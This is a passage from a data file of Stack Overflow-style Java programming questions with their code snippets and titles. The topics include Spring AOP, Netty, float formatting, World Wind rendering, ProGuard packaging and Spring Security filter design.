Time : 7.610131 ms ( # 5 ) Execution Time : 5.011104 ms ( # 6 ) Execution Time : 3.970937 ms ( # 7 ) Execution Time : 3.923783 ms ( # 8 ) Execution Time : 4.070238 ms ( # 9 ) Execution Time : 4.765347 ms ( # 10 ) Execution Time : 0.818264 ms ( # 11 ) Execution Time : 0.620216 ms ( # 12 ) Execution Time : 0.679021 ms ( # 13 ) Execution Time : 0.643516 ms ( # 14 ) Execution Time : 0.718408 ms ( # 15 ) Execution Time : 0.744481 ms ( # 16 ) Execution Time : 0.760569 ms ( # 17 ) Execution Time : 0.80384 ms ( # 18 ) Execution Time : 0.75946 ms ( # 19 ) Execution Time : 0.802176 ms ( # 20 ) Execution Time : 66.032508 ms : average = 3.3016254000000003,Why does my algorithm become faster after having executed several times ? ( Java ) +Java,"I am studying Spring AOP and I have the following doubt.From what I know there are 2 ways to implement AOP behavior into a Java application that are : AspectJ : that is the first original AOP technology that uses byte code modification for aspect weaving.Spring AOP : Java-based AOP framework with AspectJ integration that uses dynamic proxies for aspect weaving.My doubts are : what exactly means that Spring AOP is a AOP framework with AspectJ integration ? So it use in turn AspectJ ? or what ? The second doubt is related to the Spring configuration of Spring AOP , I know that I can do it in these way:1 ) Using Java configuration class:2 ) Using XML : So , in both configuration it seems that Spring AOP use AspectJ because in these configuration I have : @ EnableAspectJAutoProxy and What it exactly means ?",@ Configuration @ EnableAspectJAutoProxy @ ComponentScan ( basePackages= “ com.example ” ) public class AspectConfig { ... } < beans > < aop : aspectj-autoproxy / > < context : component-scan base-package= “ com.example ” / > < /beans >,Spring AOP use AspectJ to works or what ? +Java,"I have got a server and client architecture that exchange information . I want to return from the server the number of connected channels . I want to return the message of the server to the clients using promise . My code is : When I run one client it is always receiving the message The number if the connected clients is not two and the returning number is always one . When I run a second client it is receiving always as a returning value two , however , the first client still is receiving one . I can not find which is the correct way to update the promise for the case of the first client.EDIT : Client Server : The code from the client handler storing the message received from server to the promise .","public static void callBack ( ) throws Exception { String host = `` localhost '' ; int port = 8080 ; try { Bootstrap b = new Bootstrap ( ) ; b.group ( workerGroup ) ; b.channel ( NioSocketChannel.class ) ; b.option ( ChannelOption.SO_KEEPALIVE , true ) ; b.handler ( new ChannelInitializer < SocketChannel > ( ) { @ Override public void initChannel ( SocketChannel ch ) throws Exception { ch.pipeline ( ) .addLast ( new RequestDataEncoder ( ) , new ResponseDataDecoder ( ) , new ClientHandler ( promise ) ) ; } } ) ; ChannelFuture f = b.connect ( host , port ) .sync ( ) ; //f.channel ( ) .closeFuture ( ) .sync ( ) ; } finally { //workerGroup.shutdownGracefully ( ) ; } } public static void main ( String [ ] args ) throws Exception { callBack ( ) ; while ( true ) { Object msg = promise.get ( ) ; System.out.println ( `` The number if the connected clients is not two '' ) ; int ret = Integer.parseInt ( msg.toString ( ) ) ; if ( ret == 2 ) { break ; } } System.out.println ( `` The number if the connected clients is two '' ) ; } public class ClientHandler extends ChannelInboundHandlerAdapter { public final Promise < Object > promise ; public ClientHandler ( Promise < Object > promise ) { this.promise = promise ; } @ Override public void channelActive ( ChannelHandlerContext ctx ) throws Exception { RequestData msg = new RequestData ( ) ; msg.setIntValue ( 123 ) ; msg.setStringValue ( `` all work and no play makes jack a dull boy '' ) ; ctx.writeAndFlush ( msg ) ; } @ Override public void channelRead ( ChannelHandlerContext ctx , Object msg ) throws Exception { System.out.println ( msg ) ; promise.trySuccess ( msg ) ; } }",Asynchronous update of promise in Netty Nio +Java,"Here 's what I 'm looking at : So I understand that the decimal value of `` p '' 1.15 ca n't be represented exactly in binary.And so the large big decimal `` bdp '' output makes perfect sense to me ... that 's the actual value of the float.Question 1When the float `` p '' gets converted back to a string for output ( as 1.15 ) , how/where does that rounding occur ( from the internal 1.149..375 value to 1.15 ) ? And where is it specified in the documentation ? The toString javadoc does n't really help ( me at least ) .I do see this in the language spec : The elements of the types float and double are those values that can be represented using the IEEE 754 32-bit single-precision and 64-bit double-precision binary floating-point formats , respectively.Wikipedia 's IEEE 754 article gives this : This gives from 6 to 9 significant decimal digits precision ( if a decimal string with at most 6 significant decimal is converted to IEEE 754 single precision and then converted back to the same number of significant decimal , then the final string should match the original ; Question 2So it seems that this is just how Java/IEEE 754 floats are supposed to work ? I get guaranteed accuracy of float/string conversion/representation up to a certain number of digits ( like for `` p '' and `` q '' ) , and if that number of digits is exceeded Java will do some rounding for display ( like for `` r '' ) ? Thanks for help .",float p=1.15f ; BigDecimal bdp=new BigDecimal ( p ) ; float q=1.1499999f ; float r=1.14999999f ; System.out.println ( p ) ; //1.15System.out.println ( bdp ) ; //1.14999997615814208984375System.out.println ( q ) ; //1.1499999System.out.println ( r ) ; //1.15,how does Java convert floats to strings +Java,"I 'm going through this tutorial Whenever my mouse hovers over the cube created with this code ( my version below ) , the Atmosphere and Stars disappear . This is how it looks normally : This is how it looks when I hover over the cube ( Look at the atmosphere ) : I 'm not sure what is going on here .","/* * Copyright ( C ) 2012 United States Government as represented by the Administrator of the * National Aeronautics and Space Administration . * All Rights Reserved . */package gov.nasa.worldwindx.examples.tutorial ; import gov.nasa.worldwind.Configuration ; import gov.nasa.worldwind.avlist.AVKey ; import gov.nasa.worldwind.geom . * ; import gov.nasa.worldwind.layers.RenderableLayer ; import gov.nasa.worldwind.pick.PickSupport ; import gov.nasa.worldwind.render . * ; import gov.nasa.worldwind.util.OGLUtil ; import gov.nasa.worldwindx.examples.ApplicationTemplate ; import javax.media.opengl . * ; import java.awt . * ; /** * Example of a custom { @ link Renderable } that draws a cube at a geographic position . This class shows the simplest * possible example of a custom Renderable , while still following World Wind best practices . See * http : //goworldwind.org/developers-guide/how-to-build-a-custom-renderable/ for a complete description of this * example . * * @ author pabercrombie * @ version $ Id : Cube.java 691 2012-07-12 19:17:17Z pabercrombie $ */public class Cube extends ApplicationTemplate implements Renderable { /** Geographic position of the cube . */ protected Position position ; /** Length of each face , in meters . */ protected double size ; /** Support object to help with pick resolution . */ protected PickSupport pickSupport = new PickSupport ( ) ; // Determined each frame protected long frameTimestamp = -1L ; protected OrderedCube currentFramesOrderedCube ; /** * This class holds the Cube 's Cartesian coordinates . An instance of it is added to the scene controller 's ordered * renderable queue during picking and rendering . */ protected class OrderedCube implements OrderedRenderable { /** Cartesian position of the cube , computed from * { @ link gov.nasa.worldwindx.examples.tutorial.Cube # position } . */ protected Vec4 placePoint ; /** Distance from the eye point to the cube . */ protected double eyeDistance ; /** * The cube 's Cartesian bounding extent . */ protected Extent extent ; public double getDistanceFromEye ( ) { return this.eyeDistance ; } public void pick ( DrawContext dc , Point pickPoint ) { // Use same code for rendering and picking . this.render ( dc ) ; } public void render ( DrawContext dc ) { Cube.this.drawOrderedRenderable ( dc , Cube.this.pickSupport ) ; } } public Cube ( Position position , double sizeInMeters ) { this.position = position ; this.size = sizeInMeters ; } public void render ( DrawContext dc ) { // Render is called twice , once for picking and once for rendering . In both cases an OrderedCube is added to // the ordered renderable queue . OrderedCube orderedCube = this.makeOrderedRenderable ( dc ) ; if ( orderedCube.extent ! = null ) { if ( ! this.intersectsFrustum ( dc , orderedCube ) ) return ; // If the shape is less that a pixel in size , do n't render it . if ( dc.isSmall ( orderedCube.extent , 1 ) ) return ; } // Add the cube to the ordered renderable queue . The SceneController sorts the ordered renderables by eye // distance , and then renders them back to front . dc.addOrderedRenderable ( orderedCube ) ; } /** * Determines whether the cube intersects the view frustum . * * @ param dc the current draw context . * * @ return true if this cube intersects the frustum , otherwise false . */ protected boolean intersectsFrustum ( DrawContext dc , OrderedCube orderedCube ) { if ( dc.isPickingMode ( ) ) return dc.getPickFrustums ( ) .intersectsAny ( orderedCube.extent ) ; return dc.getView ( ) .getFrustumInModelCoordinates ( ) .intersects ( orderedCube.extent ) ; } /** * Compute per-frame attributes , and add the ordered renderable to the ordered renderable list . * * @ param dc Current draw context . */ protected OrderedCube makeOrderedRenderable ( DrawContext dc ) { // This method is called twice each frame : once during picking and once during rendering . We only need to // compute the placePoint , eye distance and extent once per frame , so check the frame timestamp to see if // this is a new frame . However , we ca n't use this optimization for 2D continuous globes because the // Cartesian coordinates of the cube are different for each 2D globe drawn during the current frame . if ( dc.getFrameTimeStamp ( ) ! = this.frameTimestamp || dc.isContinuous2DGlobe ( ) ) { OrderedCube orderedCube = new OrderedCube ( ) ; // Convert the cube 's geographic position to a position in Cartesian coordinates . If drawing to a 2D // globe ignore the shape 's altitude . if ( dc.is2DGlobe ( ) ) { orderedCube.placePoint = dc.getGlobe ( ) .computePointFromPosition ( this.position.getLatitude ( ) , this.position.getLongitude ( ) , 0 ) ; } else { orderedCube.placePoint = dc.getGlobe ( ) .computePointFromPosition ( this.position ) ; } // Compute the distance from the eye to the cube 's position . orderedCube.eyeDistance = dc.getView ( ) .getEyePoint ( ) .distanceTo3 ( orderedCube.placePoint ) ; // Compute a sphere that encloses the cube . We 'll use this sphere for intersection calculations to determine // if the cube is actually visible . orderedCube.extent = new Sphere ( orderedCube.placePoint , Math.sqrt ( 3.0 ) * this.size / 2.0 ) ; // Keep track of the timestamp we used to compute the ordered renderable . this.frameTimestamp = dc.getFrameTimeStamp ( ) ; this.currentFramesOrderedCube = orderedCube ; return orderedCube ; } else { return this.currentFramesOrderedCube ; } } /** * Set up drawing state , and draw the cube . This method is called when the cube is rendered in ordered rendering * mode . * * @ param dc Current draw context . */ protected void drawOrderedRenderable ( DrawContext dc , PickSupport pickCandidates ) { this.beginDrawing ( dc ) ; try { GL2 gl = dc.getGL ( ) .getGL2 ( ) ; // GL initialization checks for GL2 compatibility . if ( dc.isPickingMode ( ) ) { Color pickColor = dc.getUniquePickColor ( ) ; pickCandidates.addPickableObject ( pickColor.getRGB ( ) , this , this.position ) ; gl.glColor3ub ( ( byte ) pickColor.getRed ( ) , ( byte ) pickColor.getGreen ( ) , ( byte ) pickColor.getBlue ( ) ) ; } // Render a unit cube and apply a scaling factor to scale the cube to the appropriate size . gl.glScaled ( this.size , this.size , this.size ) ; this.drawUnitCube ( dc ) ; } finally { this.endDrawing ( dc ) ; } } /** * Setup drawing state in preparation for drawing the cube . State changed by this method must be restored in * endDrawing . * * @ param dc Active draw context . */ protected void beginDrawing ( DrawContext dc ) { GL2 gl = dc.getGL ( ) .getGL2 ( ) ; // GL initialization checks for GL2 compatibility . int attrMask = GL2.GL_CURRENT_BIT | GL2.GL_COLOR_BUFFER_BIT ; gl.glPushAttrib ( attrMask ) ; if ( ! dc.isPickingMode ( ) ) { dc.beginStandardLighting ( ) ; gl.glEnable ( GL.GL_BLEND ) ; OGLUtil.applyBlending ( gl , false ) ; // Were applying a scale transform on the modelview matrix , so the normal vectors must be re-normalized // before lighting is computed . gl.glEnable ( GL2.GL_NORMALIZE ) ; } // Multiply the modelview matrix by a surface orientation matrix to set up a local coordinate system with the // origin at the cube 's center position , the Y axis pointing North , the X axis pointing East , and the Z axis // normal to the globe . gl.glMatrixMode ( GL2.GL_MODELVIEW ) ; Matrix matrix = dc.getGlobe ( ) .computeSurfaceOrientationAtPosition ( this.position ) ; matrix = dc.getView ( ) .getModelviewMatrix ( ) .multiply ( matrix ) ; double [ ] matrixArray = new double [ 16 ] ; matrix.toArray ( matrixArray , 0 , false ) ; gl.glLoadMatrixd ( matrixArray , 0 ) ; } /** * Restore drawing state changed in beginDrawing to the default . * * @ param dc Active draw context . */ protected void endDrawing ( DrawContext dc ) { GL2 gl = dc.getGL ( ) .getGL2 ( ) ; // GL initialization checks for GL2 compatibility . if ( ! dc.isPickingMode ( ) ) dc.endStandardLighting ( ) ; gl.glPopAttrib ( ) ; } /** * Draw a unit cube , using the active modelview matrix to orient the shape . * * @ param dc Current draw context . */ protected void drawUnitCube ( DrawContext dc ) { // Vertices of a unit cube , centered on the origin . float [ ] [ ] v = { { -0.5f , 0.5f , -0.5f } , { -0.5f , 0.5f , 0.5f } , { 0.5f , 0.5f , 0.5f } , { 0.5f , 0.5f , -0.5f } , { -0.5f , -0.5f , 0.5f } , { 0.5f , -0.5f , 0.5f } , { 0.5f , -0.5f , -0.5f } , { -0.5f , -0.5f , -0.5f } } ; // Array to group vertices into faces int [ ] [ ] faces = { { 0 , 1 , 2 , 3 } , { 2 , 5 , 6 , 3 } , { 1 , 4 , 5 , 2 } , { 0 , 7 , 4 , 1 } , { 0 , 7 , 6 , 3 } , { 4 , 7 , 6 , 5 } } ; // Normal vectors for each face float [ ] [ ] n = { { 0 , 1 , 0 } , { 1 , 0 , 0 } , { 0 , 0 , 1 } , { -1 , 0 , 0 } , { 0 , 0 , -1 } , { 0 , -1 , 0 } } ; // Note : draw the cube in OpenGL immediate mode for simplicity . Real applications should use vertex arrays // or vertex buffer objects to achieve better performance . GL2 gl = dc.getGL ( ) .getGL2 ( ) ; // GL initialization checks for GL2 compatibility . gl.glBegin ( GL2.GL_QUADS ) ; try { for ( int i = 0 ; i < faces.length ; i++ ) { gl.glNormal3f ( n [ i ] [ 0 ] , n [ i ] [ 1 ] , n [ i ] [ 2 ] ) ; for ( int j = 0 ; j < faces [ 0 ] .length ; j++ ) { gl.glVertex3f ( v [ faces [ i ] [ j ] ] [ 0 ] , v [ faces [ i ] [ j ] ] [ 1 ] , v [ faces [ i ] [ j ] ] [ 2 ] ) ; } } } finally { gl.glEnd ( ) ; } } protected static class AppFrame extends ApplicationTemplate.AppFrame { public AppFrame ( ) { super ( true , true , false ) ; RenderableLayer layer = new RenderableLayer ( ) ; Cube cube = new Cube ( Position.fromDegrees ( 35.0 , -120.0 , 3000 ) , 100000 ) ; layer.addRenderable ( cube ) ; getWwd ( ) .getModel ( ) .getLayers ( ) .add ( layer ) ; } } public static void main ( String [ ] args ) { Configuration.setValue ( AVKey.INITIAL_LATITUDE , 35.0 ) ; Configuration.setValue ( AVKey.INITIAL_LONGITUDE , -120.0 ) ; Configuration.setValue ( AVKey.INITIAL_ALTITUDE , 2550000 ) ; Configuration.setValue ( AVKey.INITIAL_PITCH , 45 ) ; Configuration.setValue ( AVKey.INITIAL_HEADING , 45 ) ; ApplicationTemplate.start ( `` World Wind Custom Renderable Tutorial '' , AppFrame.class ) ; } }",Worldwind Custom Renderable Picking Issue +Java,"I 'm trying to solve the following problem from the section Bit Manipulation at the Hacker Rank site using new features of Java 8 such as Streams.The problem description : Given an integer , n , find each x such that:0 < = x < = nn + x = n ^ xwhere ^ denotes the bitwise XOR operator . Then print an integer denoting the total number of x 's satisfying the criteria above.Constraints0 < = n < = 1015Sample Input : 5Sample Output : 2Explanation : For n = 5 , the x values 0 and 2 satisfy the conditions:5 + 0 = 5 ^ 0 = 55 + 2 = 5 ^ 2 = 7Thus , we print 2 as our answer.Sample Input : 10Sample Output : 4Explanation : For n = 10 , the x values 0 , 1 , 4 , and 5 satisfy the conditions:10 + 0 = 10 ^ 0 = 1010 + 1 = 10 ^ 1 = 1110 + 4 = 10 ^ 4 = 1410 + 5 = 10 ^ 5 = 15Thus , we print 4 as our answer.My code is as follows : The problem is this code does n't pass all the test cases.It works for small values of n , but for large values such as 1000000000000000 it fails due to timeout.I wonder whether LongStream ca n't handle Streams with that many elements .","public class SumVsXor { public static void main ( String [ ] args ) { Scanner in = new Scanner ( System.in ) ; long n = in.nextLong ( ) ; long count = LongStream.rangeClosed ( 0 , n ) .filter ( k - > k + n == ( k ^ n ) ) .count ( ) ; System.out.println ( count ) ; } }",Trying to find the number of x 's that satisfies n + x = n ^ x fails with timeout +Java,"I 'm trying to extend , in Java , a Kotlin delegating class and get the following error : Can not inherit from final 'Derived'See code below.What I 'm trying to do is decorate a method of a class.Any idea why Kotlin defined Derived as final ? Is there a way for Derived to not be final so I can inherit it ? Java : Kotlin : * Example from here : https : //kotlinlang.org/docs/reference/delegation.html",new Derived ( new BaseImpl ( 10 ) ) { // Getting the error on this line : ` Can not inherit from final 'Derived ' ` } ; interface Base { fun print ( ) } class BaseImpl ( val x : Int ) : Base { override fun print ( ) { print ( x ) } } class Derived ( b : Base ) : Base by b,"Can I extend , in Java , a Kotlin delegating class ?" +Java,Given the following sample : The Output is : Why ?,public class Main { public static void main ( String [ ] args ) { System.out.println ( 1234 ) ; System.out.println ( 01234 ) ; } } 1234668,Int with leading zeroes - unexpected result +Java,"How to run proguard before jPackage ? IntroductionIm developing an app in JavaFx using gradle plugins and packaging it with jPackager , also using the gradle plugins . The main plugins im using are : My current gradle version is : gradle-5.6.2-allProblem descriptionHow do I use proguard so the code gets obfuscated and optimized before jPackage do its job ? I can run the proguard tasks , but when I run jPackage , the code doesnt get obfuscated ! Ive found a tutorial ( Tutorial ) for an older gradle version however im not sure how to mix this with the current plugins . I 've tried a few code snippets but they all failed to build and I dont want to clutter this topic with a bunch of non-working code.My current working build.gradleReferencesPackage a non-modular JavaFX applicationJavaFX Proguard Obfuscation","id 'org.openjfx.javafxplugin ' version ' 0.0.8'id 'org.beryx.runtime ' version ' 1.7.0'id `` com.github.johnrengelman.shadow '' version `` 5.1.0 '' // 1 . Include proguard dependencybuildscript { repositories { jcenter ( ) mavenCentral ( ) } dependencies { classpath 'net.sf.proguard : proguard-gradle:6.2.0 ' } } plugins { id 'java ' id 'application ' id 'org.openjfx.javafxplugin ' version ' 0.0.8 ' id 'org.beryx.runtime ' version ' 1.7.0 ' id `` com.github.johnrengelman.shadow '' version `` 5.1.0 '' } dependencies { compile `` org.controlsfx : controlsfx:11.0.0 '' compile `` eu.hansolo : tilesfx:11.13 '' compile `` com.jfoenix : jfoenix:9.0.9 '' compile `` org.apache.httpcomponents : httpclient:4.5.9 '' compile `` org.json : json:20180813 '' compile `` mysql : mysql-connector-java:8.0.17 '' compile `` org.jasypt : jasypt:1.9.3 '' compile `` com.mchange : c3p0:0.9.5.4 '' compile `` com.sun.mail : javax.mail:1.6.2 '' compile `` commons-validator : commons-validator:1.6 '' compile 'org.openjfx : javafx-base:11 : win ' compile 'org.openjfx : javafx-controls:11 : win ' compile 'org.openjfx : javafx-fxml:11 : win ' compile 'org.openjfx : javafx-graphics:11 : win ' } repositories { mavenCentral ( ) } javafx { version = `` 13 '' modules = [ 'javafx.controls ' , 'javafx.graphics ' , 'javafx.fxml ' ] } mainClassName = 'Main'runtime { options = [ ' -- strip-debug ' , ' -- compress ' , ' 2 ' , ' -- no-header-files ' , ' -- no-man-pages ' ] jpackage { jpackageHome = ' C : /Program Files/Java/openjdk-14-jpackage+1-49_windows-x64_bin/ ' if ( org.gradle.internal.os.OperatingSystem.current ( ) .windows ) { installerType = 'msi ' imageOptions = [ ] installerOptions = [ ' -- win-per-user-install ' , ' -- win-dir-chooser ' , ' -- win-menu ' , ' -- win-shortcut ' , ' -- verbose ' , ' -- description ' , 'Test of proguard with jPackage ' , ' -- name ' , 'Test-ProguardJPackage ' , ' -- vendor ' , 'DoesItMatter ' ] } } } compileJava { doFirst { options.compilerArgs = [ ' -- module-path ' , classpath.asPath , ' -- add-modules ' , 'javafx.controls , javafx.fxml ' ] } } run { doFirst { jvmArgs = [ ' -- module-path ' , classpath.asPath , ' -- add-modules ' , 'javafx.controls , javafx.fxml ' ] } } task cleanClasses ( type : Delete ) { delete `` $ { buildDir } /classes/java/main '' delete `` $ { buildDir } /resources/java/main '' } classes.dependsOn ( cleanClasses ) // 2.2 Add proguard tasktask proguard ( type : proguard.gradle.ProGuardTask , dependsOn : classes ) { injars project.sourceSets.main.output outjars `` $ { buildDir } /proguard/output.jar '' libraryjars project.sourceSets.main.compileClasspath configuration 'proguard.conf ' } // 2.3 Clean after proguard tasktask cleanAfterProguard ( type : Delete , dependsOn : proguard ) { delete `` $ { buildDir } /classes/java/main '' delete `` $ { buildDir } /resources/java/main '' } // 2.4 Extract output jar to buildDir task unpackProguardOutput ( type : Copy , dependsOn : cleanAfterProguard ) { from zipTree ( `` $ { buildDir } /proguard/output.jar '' ) into file ( `` $ { buildDir } /classes/java/main '' ) } // 3 . Create a task to run the app with the proguarded buildDirtask runProguard ( type : JavaExec , dependsOn : unpackProguardOutput ) { classpath = sourceSets.main.runtimeClasspath jvmArgs = [ ' -- module-path ' , classpath.asPath , ' -- add-modules ' , 'javafx.controls , javafx.fxml ' ] main = 'Main ' // < -- this name will depend on the proguard result }",Gradle badass-runtime-plugin and ProGuard Gradle Plugin +Java,"I try to move android TV app to Android studio . When I try to compile it , I had some import errors . I could n't find the dependency that I can add to build.gradle to fix these problem . The list of the imports are : The build.gradle is :","import android.media.tv.TvContentRatingSystemInfo ; import android.media.tv.TvContract.WatchedPrograms ; import com.android.tv.tuner.data.nano.Track.AtscCaptionTrack ; import com.android.tv.tuner.data.nano.Track.AtscAudioTrack ; import com.android.tv.tuner.data.nano.Channel ; apply plugin : 'com.android.application'android { compileSdkVersion 26 buildToolsVersion `` 26.0.1 '' defaultConfig { applicationId `` com.android.tv '' minSdkVersion 23 targetSdkVersion 23 versionCode 1 versionName `` 1.0 '' ndk { moduleName `` libtunertvinput_jni '' } } sourceSets { main { res.srcDirs = [ 'src/main/res ' , 'src/main/usbtuner-res ' ] jni.srcDirs = [ ] } } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile ( 'proguard-android.txt ' ) , 'proguard-rules.txt ' } debug { minifyEnabled false proguardFiles getDefaultProguardFile ( 'proguard-android.txt ' ) , 'proguard-rules.txt ' } } } dependencies { compile fileTree ( dir : 'libs ' , include : [ '*.jar ' ] ) compile files ( 'libs/exoplayer.jar ' ) compile project ( ' : common ' ) compile 'com.android.support : palette-v7 : + ' compile 'com.android.support : support-v4 : + ' compile 'com.android.support : support-annotations : + ' }",what is a dependency for android.media.tv +Java,"Consider the following code : In the above example , I get the ArrayStoreException when I try arr2 [ 0 ] = a . That means the array remembers what type it must accept . But the List does not remember them . It simply compiles and runs fine . The ClassCastException will be thrown when I retrieve the object BB.So the questions are : How an array remembers its type ( I know it 's called `` reification '' ) . How this happens exactly ? And why only arrays are bestowed with this power but not ArrayList although it uses an array under its hood.Why ca n't ArrayStoreException be detected at compile time , i.e when I do arr2 [ 0 ] = a , it could cause a compiler error , instead of detecting it at runtime.Thanks .",class AA { } class BB extends AA { } public class Testing { public static void main ( String [ ] args ) { BB [ ] arr = new BB [ 10 ] ; AA [ ] arr2 = arr ; BB b = new BB ( ) ; AA a = new AA ( ) ; arr2 [ 0 ] = a ; // ArrayStoreException at runtime arr2 [ 1 ] = b ; List < BB > listBB = new ArrayList < > ( ) ; List listAA = listBB ; listAA.add ( `` hello world.txt '' ) ; } },How do arrays `` remember '' their types in Java ? +Java,"When looking at the source code of java.lang.String of openjdk-1.6 , i saw that String.hashCode ( ) uses 31 as prime number and computes Now the reason for me to look at this was the question i had in mind whether comparing hashCodes in String.equals would make String.equals significantly faster . But looking at hashCode now , the following questions come to my mind : Would n't a bigger prime help avoid collisions better , at least for short strings , seeing that for example `` BC '' has the same hash as `` Ab '' ( since the ascii letters live in the region 65-122 , would n't a prime higher than that work better ) ? Is it a conscious decision to use 31 as prime , or just some random one that is used because it is common ? How likely is a hash collision , given a fixed String length ? where this question is heading is the original question how good comparing hashCodes and String length could already discern strings , to avoid comparing the actual contents.a little off-topic , maybe : Is there a good reason String.equals does not compare hashCodes as additional shortcut ? a little more off-topic : assuming we have two Strings with the same content , but different instances : is there any way to assert equality without actually comparing the contents ? I would guess not , since someway into String lengths , the space explodes into sizes where we will inevitably have collisions , but what about some restrictions - only a certain character set , a maximum string length ... and how much do we need to restrict the string space to be able to have such a hash function ?",s [ 0 ] *31^ ( n-1 ) + s [ 1 ] *31^ ( n-2 ) + ... + s [ n-1 ],Is String.hashCode ( ) inefficient ? +Java,"I want to store a value based on a key , composed of set of elements . Something like the example below . Of course I know that my pseudo-example would n't work , as the hash of the object will probably be it 's address which will be unique for each new instance , regardless of it 's contents.Of course I can just sort and concatenate the SET values as a string , with a separator and use that in a HashMap < String , String > structure but that just does n't feel right . I 'm quite new to Java programming so there might be an obvious solution that I 'm missing .","// in this pseudo-example this is my SET http : //algs4.cs.princeton.edu/35applications/SET.java.html // but the idea is that values are unique HashMap < SET < Integer > , String > map = new HashMap < > ( ) ; SET a = new SET ( ) ; a.add ( 1 ) ; a.add ( 2 ) ; a.add ( 5 ) ; SET b = new SET ( ) ; b.add ( 5 ) ; b.add ( 1 ) ; b.add ( 2 ) ; map.put ( a , `` w00t '' ) ; System.out.println ( map.get ( b ) ) ; // I would want to get `` w00t '' because my key is the same set of elements",How to use set of elements as key in java maps ? +Java,"Working on a help system , I 'd like each component to offer some help when the the mouse is over it and the `` ? '' key is pressed . Sort of like tooltips , except with much more extensive help - essentially a little web browser is intended to pop up and display text , images or more.What I 'm finding is that no matter where the mouse is , the input always goes to the same KeyListener . Is there only supposed to be one active at a time ? For what it 's worth , this is the now-working version - thanks for suggestions !","/** * Main class JavaHelp wants to support a help function so that when * the user types F1 above a component , it creates a popup explaining * the component . * The full version is intended to be a big brother to tooltips , invoking * an HTML display with clickable links , embedded images , and the like . */ import javax.swing . * ; import javax.swing.border.Border ; import java.awt . * ; import java.awt.event . * ; import java.awt.event.ActionEvent ; import java.awt.event.ActionListener ; import java.awt.event.KeyEvent ; import java.awt.event.KeyListener ; class Respond2Key extends AbstractAction { Component jrp ; // Contract consructor public Respond2Key ( String text ) { super ( text ) ; } // Constructor that makes sure it gets done right public Respond2Key ( String text , Component jrpIn ) { super ( text ) ; System.out.println ( `` creating Respond2Key with component `` + jrpIn .toString ( ) ) ; jrp = jrpIn ; } public void setJrp ( Component j ) { jrp = j ; } // Functionality : what is the response to a key public void actionPerformed ( ActionEvent e ) { // use MouseInfo to get position , convert to pane coords , lookup component Point sloc = MouseInfo.getPointerInfo ( ) .getLocation ( ) ; SwingUtilities.convertPointFromScreen ( sloc , ( Component ) jrp ) ; Component c = jrp.getComponentAt ( sloc ) ; System.out.printf ( `` Mouse at % 5.2f , % 5.2f Component under mouse is % s\n '' , sloc.getX ( ) , sloc.getY ( ) , c.toString ( ) ) ; } } // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- // The main class // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- public class JavaHelp extends JFrame { // The object constructor public JavaHelp ( ) { // Start construction super ( `` Help System '' ) ; this.setSize ( 640 , 480 ) ; Container contents = getContentPane ( ) ; contents.setLayout ( new FlowLayout ( ) ) ; JButton b1 = butt ( `` button1 '' , 64 , 48 ) ; JButton b2 = butt ( `` button2 '' , 96 , 48 ) ; JButton b3 = butt ( `` button3 '' , 128 , 48 ) ; JPanel p1 = pane ( `` hello '' , 100 , 100 ) ; JPanel p2 = pane ( `` world '' , 200 , 100 ) ; contents.add ( b1 ) ; contents.add ( p1 ) ; contents.add ( b2 ) ; contents.add ( p2 ) ; contents.add ( b3 ) ; JRootPane jrp = this.getRootPane ( ) ; jrp.getInputMap ( jrp.WHEN_IN_FOCUSED_WINDOW ) .put ( KeyStroke.getKeyStroke ( `` F1 '' ) , `` helpAction '' ) ; jrp.getActionMap ( ) .put ( `` helpAction '' , new Respond2Key ( `` frame '' , ( Component ) contents ) ) ; this.setVisible ( true ) ; this.requestFocus ( ) ; this.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; } // Inner classes for instantiating and listening to button , and panel . class ButtonListener implements ActionListener { private String label = null ; public void setLabel ( String s ) { label = s ; } public void actionPerformed ( ActionEvent e ) { System.out.printf ( `` Dealing with event labeled % s source % s\n\n '' , label , e.getSource ( ) .toString ( ) ) ; } } // def butt ( from , name , w , h ) = new Jbutton ( ... ) protected JButton butt ( String s , int w , int h ) { JButton b = new JButton ( s ) ; b.setSize ( w , h ) ; ButtonListener oj = new ButtonListener ( ) ; oj.setLabel ( s ) ; b.addActionListener ( oj ) ; return ( b ) ; } // def pane = new Jpanel ( ... ) protected JPanel pane ( String name , int w , int h ) { JPanel p = new JPanel ( ) ; p.setMinimumSize ( new Dimension ( w , h ) ) ; p.add ( new Label ( name ) ) ; p.setBackground ( Color.black ) ; p.setForeground ( Color.red ) ; return ( p ) ; } // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- public static void main ( String [ ] args ) { JavaHelp jh = new JavaHelp ( ) ; } }","in java awt or swing , how can I arrange for keyboard input to go wherever the mouse is ?" +Java,"There seem to be two different patterns : Pattern # 1The GenericFilterBean does the authenticating itself . As used by most of the out-of-the-box filters : UsernamePasswordAuthenticationFilter , DigestAuthenticationFilter , etc.request comes into filterfilter creates an Authentication with authenticated=falsefilter passes that to a specific AuthenticationProvider that it references directly ( sometimes via an AuthenticationManager ) if all goes well , they create a new type of Authentication and pass back to filterfilter puts that into the contextIn this pattern , the original Authentication is nothing more than a POJO to pass to the AuthenticationProvider - it never goes into the context.Also , more often than not , the filter also has a direct reference to a specific EntryPoint - which it calls at the end . ( I thought this pattern would suit pre-authentication filters ? But there is n't that consistency in the Spring code ) .Pattern # 2Separately registered AuthenticationProviders do the authentication . As used by most examples online , but rarely seen in the out-of-the-box filters.request comes into filterfilter creates an Authentication with authenticated=falsefilter puts that into the context.filter 's job is donespring security now runs through all the registered AuthenticationProvidersone of those picks up this Authentication and attempts to verify itif all goes well , they mutate the Authentication to authenticated=trueIn this pattern , the filter does n't directly call an AuthenticationProvider , or an EntryPoint . These are registered externally and apply to all filters . Typical example of Pattern # 2 config : Question : Is there any logic for when to use one approach or the other ? Pattern # 2 feels best . But I think either way will work , and am unsure which is correct / best / most secure / most future-proof / least likely to conflict with other filters / etc.If the context matters , this is Spring Security 3.2.5 , and will be for token-based authentication where we verify token details ( taken from the request header ) against a remote service before granting access .",< sec : http use-expressions= '' true '' entry-point-ref= '' myCustomEntryPoint '' pattern= '' /** '' > < sec : custom-filter before= '' FILTER_SECURITY_INTERCEPTOR '' ref= '' myCustomFilter '' / > ... < /sec : http > < sec : 